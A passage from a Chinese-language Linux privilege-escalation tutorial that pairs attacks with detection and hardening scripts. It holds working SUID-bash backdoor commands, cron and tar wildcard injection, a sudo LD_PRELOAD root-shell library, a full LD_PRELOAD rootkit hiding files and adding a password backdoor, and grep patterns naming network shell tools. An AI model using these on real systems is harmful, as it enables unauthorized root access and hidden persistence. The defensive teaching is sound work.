mount -t tmpfs none /tmp/escape
cp /bin/bash /tmp/escape/rootbash
chmod 4777 /tmp/escape/rootbash
# 执行 → root shell

# ========== ⑦ 利用 CAP_SYS_MODULE(内核后门)==========
# 场景:能 insmod
insmod rootkit.ko      # 直接加载 Rootkit

防御:

# ========== ① 定期审计 ==========
getcap -r / 2>/dev/null > /tmp/cap_current.txt
diff /etc/security/cap_baseline.txt /tmp/cap_current.txt

# ========== ② 移除不必要的 capability ==========
setcap -r /usr/bin/python3.8

# ========== ③ 启动时限制(容器场景最重要)==========
# Docker:丢弃所有 capability,只加需要的
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx

# K8s:
# securityContext:
#   capabilities:
#     drop: ["ALL"]
#     add: ["NET_BIND_SERVICE"]

# ★ 绝对不要给容器 --privileged(等于给全部 40+ 项 capability)

# ========== ④ 常见程序的正常 capability(基线参考)==========
# 正常应该只有这些:
#   /usr/bin/ping      = cap_net_raw+ep
#   /usr/bin/ping6     = cap_net_raw+ep
#   /usr/sbin/mtr      = cap_net_raw+ep
#   /usr/bin/traceroute6.iputils = cap_net_raw+ep
#   /usr/sbin/arping   = cap_net_raw+ep
#   /usr/bin/clockdiff = cap_net_raw+ep
#
# ★ 除了 ping 系列需要 cap_net_raw,
#   其他程序(特别是脚本解释器、编辑器)有 capability 都是可疑的

6.2.5 ★ 定时任务(Cron)提权

原理:

管理员为了方便,配置了 root 用户定期执行的脚本:
   */5 * * * * root /opt/scripts/cleanup.sh

如果这个脚本(或它所在的目录、它调用的命令)普通用户可写:
   攻击者往里写一行:cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash
   ↓
   5 分钟后,cron 以 root 执行 → 后门生成
   ↓
   执行 /tmp/rootbash -p → root shell

★ 三个可攻击点:

① 脚本文件本身可写
   -rw-rw-rw- 1 root root /opt/scripts/cleanup.sh
                            ↑ 其他用户可写!

② 脚本所在目录可写
   即使脚本本身不可写,但目录可写
   → 删掉原脚本,新建一个同名的(mv + cp)

③ 脚本里调用的命令可写 / 路径不完全限定
   脚本内容:cd /opt/app && ./process.sh
   如果 /opt/app 目录可写 → 替换 process.sh

   或者脚本里用的是相对路径:
   */5 * * * * root cd /opt/app && tar czf /backup/app.tgz *
   ★ 通配符 + 相对路径 → 可以用 tar 的 --checkpoint-action 提权
      (这是 tar 通配符注入,经典手法)

查找与利用:

# ========== ① 查看所有 cron 任务 ==========
# 系统级
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# 用户级
for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    crontab -l -u $user 2>/dev/null
done

# ========== ② 检查可写的 cron 脚本 ==========
# 找到 cron 引用的所有脚本,检查是否可写
grep -rhoE '(^|\s|/)[a-zA-Z0-9_/.-]+\.(sh|py|pl|rb)' \
    /etc/crontab /etc/cron.d/ /etc/cron.*/* 2>/dev/null | \
    sort -u | while read f; do
        [ -f "$f" ] && [ -w "$f" ] && echo "[!] 可写的 cron 脚本: $f"
    done

# ========== ③ 更直接的检查 ==========
find /etc/cron* -type f -perm -o+w 2>/dev/null
# 找出 others 可写的 cron 相关文件

# ========== ④ 利用示例 ==========

# 场景 A:脚本可直接写
echo 'cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash' >> /opt/scripts/cleanup.sh
# 等待 cron 执行
sleep 300
/tmp/rootbash -p

# 场景 B:目录可写(脚本不可写)
mv /opt/scripts/cleanup.sh /opt/scripts/cleanup.sh.bak
cat > /opt/scripts/cleanup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4777 /tmp/rootbash
# 为了不被发现,继续执行原来的逻辑
/opt/scripts/cleanup.sh.bak "$@"
EOF
chmod +x /opt/scripts/cleanup.sh

# 场景 C:tar 通配符注入(★ 经典,面试常考)
# /etc/crontab 内容:
#   */5 * * * * root cd /opt/app && tar czf /backup/app.tgz *
#
# 攻击:
cd /opt/app
echo 'cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
# 
# 原理:
#   tar 执行时,* 展开会把上面两个文件当成【文件名参数】传给 tar
#   tar 把它们解析成【选项】:
#     --checkpoint=1                        每处理 1 个文件触发一次 checkpoint
#     --checkpoint-action=exec=sh shell.sh  触发时执行 shell.sh
#   → cron 以 root 执行 tar → 执行了我们的脚本 → root 后门

# 场景 D:rsync / aws s3 sync 等也有类似问题

# ========== ⑤ 检查 cron 里有没有可疑内容 ==========
grep -rE 'curl|wget|nc |bash -i|/dev/tcp|python.*socket|base64 -d' \
    /etc/crontab /etc/cron.d/ /var/spool/cron/crontabs/ 2>/dev/null
# 发现这些 = 可能已经被植入后门

其他定时机制(systemd timer / at):

# ========== systemd timer(新系统的主流)==========
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer
# 检查 timer 引用的 service 文件的 ExecStart 是否可写

# ========== at 一次性任务 ==========
atq              # 列出待执行的 at 任务
at -c <jobid>    # 查看任务内容

# ========== anacron ==========
cat /etc/anacrontab

# ========== 用户级 systemd ==========
ls -la ~/.config/systemd/user/

防御:

#!/bin/bash
# cron 安全审计脚本

echo "===== 1. 检查 cron 脚本文件权限 ====="
# cron 脚本必须是 root 属主,且不能被其他用户写
find /etc/cron* -type f ! -user root 2>/dev/null | while read f; do
    echo "[!] 非 root 属主的 cron 文件: $f"
done

find /etc/cron* -type f -perm -o+w 2>/dev/null | while read f; do
    echo "[!!!] 全局可写的 cron 文件(极度危险): $f"
done

echo ""
echo "===== 2. 检查 cron 脚本所在目录权限 ====="
for dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly; do
    PERM=$(stat -c "%a %U" "$dir" 2>/dev/null)
    echo "$dir: $PERM"
    # 目录应该是 755 root,不能是 777
    case "$PERM" in
        777*|7?7*|*7) echo "  [!!!] 目录过于宽松!应为 755 root" ;;
    esac
done

echo ""
echo "===== 3. 检查 cron 脚本里是否用了通配符 + 相对路径 ====="
grep -rhoE 'cd [^|;&]+&&[^|;&]*\*' /etc/crontab /etc/cron.d/ 2>/dev/null | while read line; do
    echo "[!] 检测到通配符注入风险: $line"
    echo "    建议:改用绝对路径,显式列出文件,或用 find -exec"
done

echo ""
echo "===== 4. 检查 cron 里是否有可疑命令 ====="
grep -rE '(curl|wget|nc -|/dev/tcp|bash -i|python.*socket|base64 -d|eval)' \
    /etc/crontab /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/ 2>/dev/null

echo ""
echo "===== 5. 加固建议 ====="
cat << 'EOF'
① 所有 cron 脚本:chown root:root + chmod 700(或 755,但绝不能 777/666)
② cron 目录:chmod 755,属主 root
③ 脚本里用绝对路径:/usr/bin/tar 而不是 tar
④ 避免 "cd dir && cmd *" 这种写法,改用:
     /usr/bin/find /opt/app -type f -exec /usr/bin/tar czf /backup/app.tgz {} +
   或者显式配置 PATH:
     PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
⑤ 不需要 root 的任务,明确指定运行用户:
     */5 * * * * appuser /opt/scripts/cleanup.sh
   (系统级 /etc/crontab 支持第 6 个字段指定用户)
⑥ cron 日志要保留并监控:
     grep CRON /var/log/syslog
⑦ 用 auditd 监控 /etc/cron* 的变化
EOF

6.2.6 ★ LD_PRELOAD / 动态链接劫持提权

白话:

Linux 程序运行前,动态链接器(ld.so)会先加载程序需要的 .so 库。

LD_PRELOAD 是一个环境变量,意思是:
  "在加载其他库之前,先把我指定的这个库加载进去"

★ 如果两个库里有同名函数,先加载的优先级更高。
  所以 LD_PRELOAD 可以【劫持/替换】任意库函数。

生活类比:
  你要找前台办入住(调用 printf 函数),
  但有人在半路拦住你说"我就是前台"(LD_PRELOAD 的库),
  于是你把所有信息都告诉了假前台。

原理示意:

正常调用:
  程序 → printf() → libc.so 里的 printf → 系统调用 → 内核 → 终端

LD_PRELOAD 劫持:
  程序 → printf() → 我的 evil.so 里的 printf(先加载,优先级高)
                    ↓
                    我的代码:setuid(0); system("/bin/bash");
                    ↓
                    再调用真正的 printf(用 dlsym(RTLD_NEXT, "printf"))

三种劫持场景:

# ========== 场景 1:sudo 保留了 LD_PRELOAD(sudoers 配置错误)==========
# 检查 sudoers 是否保留了 LD_PRELOAD
sudo -l | grep LD_PRELOAD
# 或者
grep -r "env_keep" /etc/sudoers /etc/sudoers.d/

# 如果看到:Defaults env_keep += "LD_PRELOAD"
# → 可以劫持 sudo 执行的所有程序

cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

/**
 * _init() 是 GCC 的特殊函数:
 * 共享库被加载时自动执行(在 main 之前)
 */
void _init() {
    // ① 先取消 LD_PRELOAD,避免无限递归
    unsetenv("LD_PRELOAD");
    // ② 提权
    setgid(0);
    setuid(0);
    // ③ 开 shell
    system("/bin/bash");
}
EOF

gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
#  -fPIC          位置无关代码(共享库必需)
#  -shared        生成共享库
#  -nostartfiles  不链接标准启动文件(避免和 _init 冲突)

sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find
# → find 以 root 运行 → 加载 evil.so → _init() 执行 → root shell

# ========== 场景 2:SUID 程序 + LD_PRELOAD(★ 注意:现代系统已防护)==========
# ★ 重要:出于安全考虑,Linux 内核对 SUID 程序【忽略】LD_PRELOAD
#   所以这个姿势【只适用于非 SUID 程序】或者极老的系统
#
# 验证:
cat > /tmp/test.c << 'EOF'
#include <stdio.h>
void _init() { printf("LD_PRELOAD 生效了!\n"); }
EOF
gcc -fPIC -shared -o /tmp/test.so /tmp/test.c -nostartfiles

LD_PRELOAD=/tmp/test.so /bin/ls        # 非 SUID → 生效
LD_PRELOAD=/tmp/test.so /usr/bin/sudo -l   # SUID → 不生效(内核保护)

# ========== 场景 3:/etc/ld.so.preload 全局劫持(持久化后门)==========
# ★ 这是攻击者常用的持久化手段,比 LD_PRELOAD 环境变量更狠
#
# /etc/ld.so.preload 是全局配置:
#   所有动态链接的程序在启动时都会加载这里列出的库
#   (包括 SUID 程序!内核不忽略这个文件)

# 攻击:
echo "/lib/evil.so" > /etc/ld.so.preload
# → 此后所有程序启动都会加载 evil.so

# ★ 检测:
cat /etc/ld.so.preload
# 正常情况下这个文件【不应该存在】!存在就是可疑

# ★ 清除(注意:如果恶意库劫持了 rm,可能删不掉)
# 方法 1:用静态编译的 busybox
busybox rm /etc/ld.so.preload
# 方法 2:单用户模式
# 方法 3:救援模式挂载磁盘删除

# ========== 场景 4:LD_LIBRARY_PATH 劫持 ==========
# 原理:指定动态库的搜索路径(优先级高于系统路径)
#
# 场景:某个 SUID 程序依赖一个不存在的库
ldd /usr/local/bin/vuln_app
#   libcustom.so.1 => not found     ← ★ 找不到

# 攻击者:伪造这个库,放到 LD_LIBRARY_PATH 指定的目录
# (同样:SUID 程序会忽略 LD_LIBRARY_PATH,所以要看具体情况)

# 或者:如果程序用 dlopen("libfoo.so") 相对路径加载
# → 在当前目录放一个恶意 libfoo.so 即可

完整的 LD_PRELOAD Rootkit(教学版):

/*
 * ld_preload_rootkit.c —— LD_PRELOAD 后门(教学演示)
 *
 * 功能:
 *   ① 隐藏指定文件(劫持 opendir/readdir)
 *   ② 隐藏指定进程(劫持 readdir /proc)
 *   ③ 隐藏网络连接(劫持 fopen /proc/net/tcp)
 *   ④ 留后门(劫持 pam 或某个常用函数)
 *   ⑤ 隐藏自己(劫持 fopen("/etc/ld.so.preload"))
 *
 * 编译:
 *   gcc -fPIC -shared -o rootkit.so ld_preload_rootkit.c -ldl -nostartfiles
 *
 * 部署(需要 root):
 *   cp rootkit.so /lib/x86_64-linux-gnu/
 *   echo "/lib/x86_64-linux-gnu/rootkit.so" > /etc/ld.so.preload
 *
 * ★ 仅用于授权测试和学习,切勿用于非法用途
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/types.h>

/* ============================================================
 * 配置区:定义要隐藏的东西
 * ============================================================ */
#define HIDE_FILE    "rootkit"      /* 文件名包含这个就隐藏 */
#define HIDE_PROCESS "nc_backdoor"  /* 进程名包含这个就隐藏 */
#define HIDE_PORT    "31337"        /* 端口是这个就隐藏(十六进制) */
#define MAGIC_PASSWORD "s3cr3t"     /* 后门密码 */

/* ============================================================
 * 保存原始函数指针
 * RTLD_NEXT 表示"找下一个(即真正的)同名函数"
 * ============================================================ */
static struct dirent *(*orig_readdir)(DIR *) = NULL;
static FILE *(*orig_fopen)(const char *, const char *) = NULL;
static int (*orig_fopen64)(void) = NULL;

/* 初始化:获取原始函数地址 */
static void init_hooks(void) {
    if (!orig_readdir) {
        orig_readdir = dlsym(RTLD_NEXT, "readdir");
    }
    if (!orig_fopen) {
        orig_fopen = dlsym(RTLD_NEXT, "fopen");
    }
}

/* ============================================================
 * ① 劫持 readdir:隐藏文件和进程
 *
 * 为什么劫持 readdir?
 *   ls、ps、top、lsof 等命令都通过 readdir 读目录
 *   劫持它就能让这些命令"看不到"指定的东西
 * ============================================================ */
struct dirent *readdir(DIR *dirp) {
    init_hooks();

    struct dirent *entry;

    while ((entry = orig_readdir(dirp)) != NULL) {
        /* ---- 隐藏文件 ---- */
        if (strstr(entry->d_name, HIDE_FILE) != NULL) {
            continue;    /* 跳过,不返回给调用者 */
        }

        /* ---- 隐藏进程 ---- */
        /* /proc 里每个数字目录就是一个进程 */
        if (strstr(entry->d_name, HIDE_PROCESS) != NULL) {
            continue;
        }

        /* 更精确的做法:读 /proc/<pid>/cmdline 判断进程名 */
        /* 这里简化处理 */

        return entry;
    }

    return NULL;
}

/* ============================================================
 * ② 劫持 fopen:隐藏 /proc/net/tcp 里的连接,隐藏 ld.so.preload
 * ============================================================ */
FILE *fopen(const char *pathname, const char *mode) {
    init_hooks();

    /* ---- 隐藏自己的配置文件 ---- */
    /* 让 cat /etc/ld.so.preload 看不到内容 */
    if (strstr(pathname, "/etc/ld.so.preload") != NULL) {
        /* 返回一个空文件 */
        return orig_fopen("/dev/null", mode);
    }

    /* ---- 隐藏网络连接 ---- */
    if (strstr(pathname, "/proc/net/tcp") != NULL) {
        /* 实际实现:读取内容后过滤掉 HIDE_PORT 的行 */
        /* 这里简化:先调用原始 fopen,过滤在 fgets 层做 */
    }

    return orig_fopen(pathname, mode);
}

/* ============================================================
 * ③ 后门:劫持 PAM 认证相关函数
 *
 * 简化版:劫持 strcmp,如果比较的是我们的密码就返回"相等"
 *   → 任何用户的密码都是 MAGIC_PASSWORD
 * ============================================================ */
int strcmp(const char *s1, const char *s2) {
    static int (*orig_strcmp)(const char *, const char *) = NULL;
    if (!orig_strcmp) {
        orig_strcmp = dlsym(RTLD_NEXT, "strcmp");
    }

    /* 如果任一方是我们的后门密码,就返回 0(相等) */
    if (s1 && strstr(s1, MAGIC_PASSWORD) != NULL) return 0;
    if (s2 && strstr(s2, MAGIC_PASSWORD) != NULL) return 0;

    return orig_strcmp(s1, s2);
}

/* ============================================================
 * ④ 隐藏 /proc/<pid> 下的特定内容
 * ============================================================ */
/* 实际实现还需要劫持:
 *   - open / openat(openat 更现代,ls 用的是它)
 *   - read(读文件内容时过滤)
 *   - access / stat(文件是否存在)
 *   - unlink(防止被删除)
 *   - getdents / getdents64(系统调用层,比 readdir 更底层)
 */

★ 检测与防御 LD_PRELOAD 后门:

#!/bin/bash
# ============================================
# LD_PRELOAD 后门检测与防御
# ============================================

echo "===== 1. 检查 /etc/ld.so.preload(★ 最重要)====="
if [ -f /etc/ld.so.preload ]; then
    echo "[!!!] 发现 /etc/ld.so.preload(正常系统不应该有这个文件)"
    echo "内容:"
    cat /etc/ld.so.preload
    echo ""
    echo "检查引用的库文件:"
    while read lib; do
        if [ -f "$lib" ]; then
            echo "  $lib 存在,修改时间: $(stat -c %y "$lib")"
            echo "  大小: $(stat -c %s "$lib")"
        else
            echo "  [!] $lib 不存在(可能是残留配置)"
        fi
    done < /etc/ld.so.preload
else
    echo "[+] /etc/ld.so.preload 不存在(正常)"
fi

echo ""
echo "===== 2. 检查环境变量里的 LD_PRELOAD ====="
# 检查所有运行进程的环境变量
for pid in /proc/[0-9]*; do
    if [ -r "$pid/environ" ]; then
        PRELOAD=$(tr '\0' '\n' < "$pid/environ" 2>/dev/null | grep -E '^(LD_PRELOAD|LD_LIBRARY_PATH)=')
        if [ -n "$PRELOAD" ]; then
            echo "[!] PID $(basename $pid) ($(cat $pid/comm 2>/dev/null)):"
            echo "    $PRELOAD"
        fi
    fi
done

echo ""
echo "===== 3. 检查 shell 配置文件里是否设置了 LD_PRELOAD ====="
grep -rn "LD_PRELOAD\|LD_LIBRARY_PATH" \
    /etc/profile /etc/profile.d/ /etc/bash.bashrc /etc/environment \
    /root/.bashrc /root/.profile /root/.bash_profile \
    /home/*/.bashrc /home/*/.profile 2>/dev/null

echo ""
echo "===== 4. 用 ldd 检查关键命令是否加载了异常库 ====="
for cmd in /bin/ls /bin/ps /usr/bin/top /bin/netstat /usr/bin/who /usr/bin/w; do
    if [ -f "$cmd" ]; then
        echo "--- $cmd ---"
        ldd "$cmd" 2>/dev/null | grep -v "linux-vdso\|ld-linux\|libc.so\|libdl.so\|libpthread\|libm.so\|libselinux\|libpcre\|libtinfo\|libgcc"
        # 剩下的都是非标准库,需要人工判断
    fi
done

echo ""
echo "===== 5. 检查系统库目录里新增的 .so 文件 ====="
# 对比基线
BASELINE="/etc/security/so_baseline.txt"
if [ -f "$BASELINE" ]; then
    find /lib /lib64 /usr/lib /usr/lib64 -name "*.so*" 2>/dev/null | sort > /tmp/so_current.txt
    NEW=$(comm -13 "$BASELINE" /tmp/so_current.txt)
    if [ -n "$NEW" ]; then
        echo "[!!!] 新增的系统库(可能是 Rootkit):"
        echo "$NEW"
    fi
    rm -f /tmp/so_current.txt
else
    echo "[!] 无基线,正在创建..."
    find /lib /lib64 /usr/lib /usr/lib64 -name "*.so*" 2>/dev/null | sort > "$BASELINE"
    chmod 600 "$BASELINE"
fi

echo ""
echo "===== 6. 交叉验证(Rootkit 检测的核心思路)====="
echo "用【不依赖动态库】的方式获取信息,和常规命令的结果对比"

echo "--- 进程数对比 ---"
echo "  ps aux 看到的: $(ps aux | wc -l)"
echo "  /proc 里实际有: $(ls -d /proc/[0-9]* | wc -l)"
echo "  ★ 如果 /proc 里更多,说明有进程被隐藏了"

echo "--- 网络连接对比 ---"
echo "  ss 看到的 TCP 连接: $(ss -t 2>/dev/null | wc -l)"
echo "  /proc/net/tcp 里: $(wc -l < /proc/net/tcp)"
echo "  ★ 差异说明有连接被隐藏"

echo ""
echo "===== 7. 防御措施 ====="
cat << 'EOF'
① 用静态编译的工具做检测(Rootkit 劫持不了静态程序)
     busybox(静态版):busybox ps / busybox ls / busybox netstat
     或者:chkrootkit、rkhunter 自带的静态检测

② 文件完整性监控(AIDE / Tripwire / OSSEC)
     监控系统库目录、/etc/ld.so.preload、/bin /sbin /usr/bin

③ 挂载选项:/lib /usr/lib 设为只读
     # /etc/fstab
     /usr  /usr  ext4  defaults,ro  0  2

④ 用 auditd 监控 /etc/ld.so.preload:
     -w /etc/ld.so.preload -p wa -k ld_preload_tamper
     -w /etc/ -p wa -k etc_tamper

⑤ 定期检查进程的 maps(看有没有异常加载的库)
     cat /proc/<pid>/maps | grep -v "libc\|ld-linux\|libpthread"
EOF

6.2.7 内核漏洞提权(脏牛、PwnKit、Dirty Pipe)

白话:

内核是操作系统的核心,运行在最高权限(Ring 0)。
内核有 bug → 普通用户能触发它 → 让内核执行攻击者的代码 → 提权。

和前面几种的区别:
  前面几种(SUID/sudo/capabilities)是【配置问题】
  内核漏洞是【代码 bug】,只能靠打补丁

★ 内核漏洞提权的特点:
  - 影响面广(同一个内核版本的所有机器都能打)
  - 稳定(exploit 成熟,成功率高)
  - 无法通过配置规避(只能打补丁或重启到新内核)
  - 但:打补丁需要重启,生产环境重启成本高

三个著名的内核提权漏洞:

漏洞 CVE 年份 影响 原理(白话)
Dirty COW CVE-2016-5195 2016 Linux 2.6.22 ~ 4.8(9 年!) 写时复制(Copy-On-Write)的竞态条件
PwnKit CVE-2021-4034 2021 几乎所有 Linux(12 年!) polkit 的 pkexec 参数处理溢出
Dirty Pipe CVE-2022-0847 2022 Linux 5.8 ~ 5.16 管道(pipe)缓冲区的未初始化变量

① Dirty COW(脏牛)原理:

Copy-On-Write(写时复制)是什么?
  多个进程共享同一块内存时,为了省内存,
  内核让它们共用一份物理内存,标记为"只读"。
  
  当某个进程要【写】这块内存时,
  内核才真正复制一份出来给它写(这就是"写时复制")。

★ 竞态条件在哪?
  内核的处理流程是:
    1. 发现要写只读页 → 触发缺页异常
    2. 检查权限(这个进程能写吗?)
    3. 复制一份新页(COW)
    4. 把新页映射成可写
    5. 返回给用户态,用户写入

  漏洞:步骤 2~4 之间有个【时间窗口】。
  攻击者用两个线程:
    线程 A:不停地写(触发 COW)
    线程 B:不停地调用 madvise(MADV_DONTNEED)(丢弃这个映射)
  
  两个线程竞争,可能让内核在【丢弃映射后仍然复用旧的页表项】,
  导致写入落到了【原本只读的物理页】上。

  结果:能把只读文件(比如 /etc/passwd、SUID 程序)改写掉。

生活类比:
  图书馆有一本珍贵古籍,规定只能看不能改(只读)。
  管理员的流程是:你要改 → 我给你复印一份(COW)→ 你在复印件上改。
  漏洞:你在管理员"去复印"和"回来"之间的那一瞬间,
        偷偷在古籍上写了一笔,管理员没发现。

Dirty COW 利用(概念):

/*
 * Dirty COW 利用思路(简化说明,不提供完整 exploit)
 *
 * 目标:改写一个只读文件
 *
 * 常见利用方式:
 *   ① 改写 /etc/passwd
 *      把 root 的密码字段(x)删掉 → root 无需密码
 *      或者加一个 uid=0 的用户
 *
 *   ② 改写 SUID 程序
 *      找一个 root 属主的 SUID 程序,
 *      把它的机器码替换成 execve("/bin/sh") 的 shellcode
 *      → 执行这个程序就拿到 root shell
 *
 *   ③ 改写 /etc/crontab 等配置文件
 */

/* 攻击流程(伪代码) */
void dirty_cow_exploit() {
    // 1. 以只读方式打开目标文件(关键:必须是只读打开!)
    int fd = open("/etc/passwd", O_RDONLY);

    // 2. mmap 映射到内存(MAP_PRIVATE = 写时复制)
    char *map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, fd, 0);

    // 3. 启动两个线程竞争
    //    线程 A:不停写 map(触发 COW)
    pthread_create(&thread_write, NULL, write_thread, map);
    //    线程 B:不停 madvise(MADV_DONTNEED)(丢弃映射)
    pthread_create(&thread_madvise, NULL, madvise_thread, map);

    // 4. 两个线程竞争几秒后,写入可能落到只读的物理页上
    //    → 文件内容被改写

    // 5. 验证:重新读文件,看是否被改
}

/*
 * ★ 为什么必须是 O_RDONLY + MAP_PRIVATE?
 *   因为漏洞就出在 COW 的处理路径上。
 *   如果用 O_RDWR 打开,走的是另一条路径,没有这个竞态。
 */

② PwnKit(CVE-2021-4034)原理:

pkexec 是什么?
  polkit 的一部分,类似 sudo,用来让普通用户执行特权操作。
  ★ pkexec 本身是 SUID 程序(root 属主)

漏洞在哪(简化):
  pkexec 的 main 函数处理命令行参数:
  
  int main(int argc, char *argv[]) {
      for (int i = 1; i < argc; i++) {     // ★ 从 1 开始
          // 处理 argv[i]
      }
  }
  
  ★ 问题:如果 argc == 0(没有任何参数,连程序名都没有)?
    - argv[0] 是 NULL,argv[1] 实际上是【环境变量区的第一个元素】
    - 循环从 i=1 开始,【越界读写了环境变量】
  
  攻击者构造:
    execve("/usr/bin/pkexec", {NULL}, {"恶意环境变量", ...})
                                ↑ argc=0
  
  → pkexec 把环境变量当成参数处理
  → 通过精心构造的环境变量,让 pkexec 加载攻击者指定的 .so
  → pkexec 是 SUID root → 加载的库以 root 运行 → root shell

★ 为什么影响这么大?
  - 存在了 12 年(2009 年引入)
  - 影响几乎所有 Linux 发行版(Ubuntu、Debian、CentOS、RHEL...)
  - exploit 极其简单(几行代码)
  - 不需要任何特殊配置

检测 PwnKit:

# ① 检查 pkexec 是否是 SUID
ls -la /usr/bin/pkexec
# -rwsr-xr-x 1 root root ... /usr/bin/pkexec
#     ↑ 有 s 就受影响(在未修复的版本上)

# ② 检查系统是否已修复
# Ubuntu/Debian:
dpkg -l policykit-1 | grep policykit
# 查看版本,对比官方修复版本

# RHEL/CentOS:
rpm -qa | grep polkit

# ③ 缓解措施(无法立即打补丁时)
chmod 0755 /usr/bin/pkexec     # 移除 SUID 位
# ⚠️ 这会导致 pkexec 无法正常工作,可能影响图形界面的某些功能
#    生产环境要评估影响

# ④ 用官方检测脚本
# Red Hat 提供了检测脚本
# https://access.redhat.com/security/vulnerabilities/RHSB-2022-001

③ Dirty Pipe(CVE-2022-0847)原理:

管道(pipe)是什么?
  进程间通信的机制:ls | grep xxx
  内核用一个环形缓冲区(pipe_buffer)存数据

漏洞在哪(简化):
  pipe_buffer 有个 flags 字段,
  内核在 copy_page_to_iter_pipe 和 push_pipe 函数里,
  初始化 pipe_buffer 时【忘了初始化 flags】(PIPE_BUF_FLAG_CAN_MERGE)。

  攻击者可以:
    1. 创建一个 pipe
    2. 往里写数据(让 buffer 带上 PIPE_BUF_FLAG_CAN_MERGE 标志)
    3. 把数据读空(但 flags 还留着)
    4. 用 splice() 把目标文件(比如 /etc/passwd)的页"零拷贝"映射到 pipe
    5. 因为 flags 还留着 PIPE_BUF_FLAG_CAN_MERGE,
       往 pipe 写数据会【直接写到那个页上】
    6. → 改写了只读文件!

★ 为什么叫 Dirty Pipe?
  致敬 Dirty COW,原理都是"污染了一个本不该被写的页"。

★ 比 Dirty COW 更危险的地方:
  - 不需要竞态条件(不需要多线程竞争)→ 100% 稳定
  - 可以写任意位置(不限于页的开头)
  - exploit 更简单

内核提权的检测与防御:

#!/bin/bash
# ============================================
# 内核漏洞检测与防御
# ============================================

echo "===== 1. 当前内核版本 ====="
uname -a
KERNEL=$(uname -r)
echo "内核版本: $KERNEL"

echo ""
echo "===== 2. 检查已知高危漏洞 ====="
# 检查 Dirty COW(影响 2.6.22 ~ 4.8.3 / 4.7.9 / 4.4.26 之前)
check_dirty_cow() {
    local ver=$(uname -r | cut -d. -f1-2)
    # 简化判断:主版本 < 4.9 且发行版未打补丁就受影响
    echo "  Dirty COW (CVE-2016-5195): 需要检查发行版补丁状态"
    echo "    检查方法: grep -r 'CVE-2016-5195' /usr/share/doc/*/changelog* 2>/dev/null | head -1"
}

# 检查 Dirty Pipe(5.8 ~ 5.16.11 / 5.15.25 / 5.10.102 之前)
check_dirty_pipe() {
    echo "  Dirty Pipe (CVE-2022-0847): 内核 5.8+ 需要检查"
    echo "    修复版本: 5.16.11 / 5.15.25 / 5.10.102"
}

# 检查 PwnKit(polkit 版本)
check_pwnkit() {
    if [ -f /usr/bin/pkexec ]; then
        PERM=$(stat -c "%a" /usr/bin/pkexec)
        if [ "${PERM:0:1}" = "4" ]; then
            echo "  [!] PwnKit (CVE-2021-4034): pkexec 是 SUID,需检查 polkit 版本"
            dpkg -l policykit-1 2>/dev/null | grep policykit || \
            rpm -qa 2>/dev/null | grep polkit
        else
            echo "  [+] PwnKit: pkexec 不是 SUID(已缓解)"
        fi
    fi
}

check_dirty_cow
check_dirty_pipe
check_pwnkit

echo ""
echo "===== 3. 检测内核 Rootkit 迹象 ====="

echo "--- /proc 与 ps 交叉验证 ---"
PS_COUNT=$(ps -e --no-headers | wc -l)
PROC_COUNT=$(ls -d /proc/[0-9]* 2>/dev/null | wc -l)
echo "  ps 报的进程数: $PS_COUNT"
echo "  /proc 里实际:  $PROC_COUNT"
if [ "$PROC_COUNT" -gt "$PS_COUNT" ]; then
    echo "  [!!!] 差异 $((PROC_COUNT - PS_COUNT)) 个 → 可能有进程被隐藏"
fi

echo ""
echo "--- 检查已加载的内核模块 ---"
lsmod | tail -n +2 | awk '{print $1}' | while read mod; do
    # 检查模块是否有签名(有签名可信度高)
    if command -v modinfo > /dev/null; then
        SIG=$(modinfo -F signature "$mod" 2>/dev/null)
        if [ -z "$SIG" ]; then
            echo "  [?] $mod 无签名信息"
        fi
    fi
done

echo ""
echo "--- 检查 /dev/kmem、/dev/mem 访问(老式内核 Rootkit 入口)---"
ls -la /dev/kmem /dev/mem 2>/dev/null
# 这些设备如果存在且可读,攻击者能直接改内核内存

echo ""
echo "--- 检查系统调用表是否被篡改 ---"
# 这需要专门工具(如 chkrootkit 的 check_wtmpx)
# 简化:检查 /proc/kallsyms 里的关键函数地址
if [ -r /proc/kallsyms ]; then
    echo "  sys_call_table 地址: $(grep -w sys_call_table /proc/kallsyms | awk '{print $1}')"
    # 对比已知的正常地址范围(需要基线)
fi

echo ""
echo "===== 4. 防御措施 ====="
cat << 'EOF'
① 【最重要】及时打内核补丁
   - 建立内核补丁流程(虽然要重启,但不能不做)
   - 用 livepatch(Canonical Livepatch / kpatch / kGraft)避免重启
     这样可以在不重启的情况下修复内核漏洞

② 启用内核安全特性:
   # 检查是否启用
   cat /proc/cmdline | grep -oE '\b(selinux|apparmor)=[0-9]'
   sysctl kernel.kptr_restrict          # 应为 1 或 2(隐藏内核符号地址)
   sysctl kernel.dmesg_restrict         # 应为 1(限制 dmesg 访问)
   sysctl kernel.yama.ptrace_scope      # 应为 1 或 2(限制 ptrace)
   sysctl kernel.unprivileged_bpf_disabled   # 应为 1(限制 eBPF)
   sysctl kernel.modules_disabled       # 生产环境可设 1(禁止加载模块)
   sysctl net.core.bpf_jit_harden       # 应为 2(BPF JIT 加固)

③ 启用模块签名验证(Secure Boot + module signing)
   → 未签名的内核模块无法加载,能挡住大部分 LKM Rootkit

